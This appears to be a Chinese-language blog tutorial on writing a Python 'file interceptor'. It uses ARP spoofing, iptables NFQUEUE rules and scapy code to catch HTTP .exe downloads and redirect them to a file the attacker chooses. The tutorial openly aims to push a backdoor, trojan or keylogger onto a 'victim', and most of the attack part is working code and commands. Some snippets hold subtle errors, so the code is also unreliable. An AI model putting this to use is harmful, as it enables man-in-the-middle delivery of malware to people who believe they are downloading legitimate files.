File Interceptor:使用 Python 實作「檔案攔截器」

在此教學中解釋如何使用 Python 開發一個基本的檔案攔截器程序。記住,在運行此程序之前,我們需要運行 ARP 欺騙程序。然後運行 iptables 命令。

如果你的目標是遠端電腦,請使用以下命令將 FORWARD 鏈重定向到您的佇列。

iptables -I FORWARD -j NFQUEUE --queue-num 0

如果你在本地機器上進行測試,則重定向 INPUT 和 OUTPUT 鏈。

iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0

檔案攔截器(File Interceptor)如何工作?

將編寫一個程式來偵測使用者何時請求下載某個檔案,然後用其他檔案替換該檔案。

偵測後,我們向用戶提供不同的檔案,該檔案也可能是惡意的,可能是後門、木馬或鍵盤記錄器之類的東西。


實作

以下為完整程式碼:

Step1. 攔截數據封包

1. 導入 scapy 和 netfilterqueue 模塊。然後定義一個函數,把抓到的封包轉換成 scapy 封包,方便以後修改。

import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    # converting the packet into a scapy packet for modification
    pkt_scapy = scapy.IP(packet.get_payload())

2. 檢查了數據封包是否包含 HTTP 層,並通過使用以下程式將請求和響應分開。

# to check whether a packet contains the HTTP layer or not
if pkt_scapy.haslayer(scapy.Raw):
    # checking if the destination port is 80, it means that the packet is leaving from our computer and going towards the http port
    if pkt_scapy[scapy.TCP].dport == 80:
       print("[*] This is an HTTP REQUEST ")
    # checking if the source port is 80, it means this packet is leaving from the http port
    elif pkt_scapy(scapy.TCP).sport == 80:
       print("[*] This is an HTTP Response ")

Step2. 修改數據封包

創建了一個列表,有用的信息被加到列表中,其餘的信息通過使用以下程式從列表中刪除。

acknowledge_list = []
# appending values
if "exe" in pkt_scapy[scapy.Raw].load:
    print("[*] exe Request")
    acknowledge_list.append(pkt_scapy[scapy.TCP].ack)
# eliminating values
if pkt_scapy[scapy.TCP].seq in acknowledge_list:
    acknowledge_list.remove(pkt_scapy[scapy.TCP].seq)
    print("[*] Replacing File ")

Step3. 替換下載檔案

將在這個程式中使用 301 狀態代碼,因為我們打算重定向客戶端的請求。所以,我會把這個狀態碼的伺服器響應添加到我們的程序中。我只需要將 Location 替換為我希望用戶下載的文件的位置。

HTTP/1.1 301 Moved Permanently
Location: https://www.example.org/index.asp

這是在程式中使用它的方式:

pkt_scapy[scapy.Raw].load = "HTTP/1.1 301 Moved Permanently\nLocation: https://www.example.org/abc.exe\n\n"

現在,將從我們的響應中刪除一些字段,因為值已被修改,長度以及校驗和已更改。所以,我們不能使用舊的。我將通過定義一個函數來刪除它們:

def setting_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksm
    del packet[scapy.TCP].len
    del packet[scapy.TCP].chksm
    return packet

運行檔案攔截器程式

安裝依賴項:

# pip install NetfilterQueue
# pip install scapy

現在在我們執行它之前,記住我們需要成為一個中間人,所以讓我們執行之前教程中製作的 arp 欺騙腳本

讓我們執行我們剛剛創建的檔案攔截器:

python file_interceptor.py

一旦受害者試圖在他的機器上下載任何文件,新替換的文件將自動下載到他的計算機上,而不是合法文件。我們可以添加任何惡意文件、木馬或後門。

Leave a Reply

發佈留言必須填寫的電子郵件地址不會公開。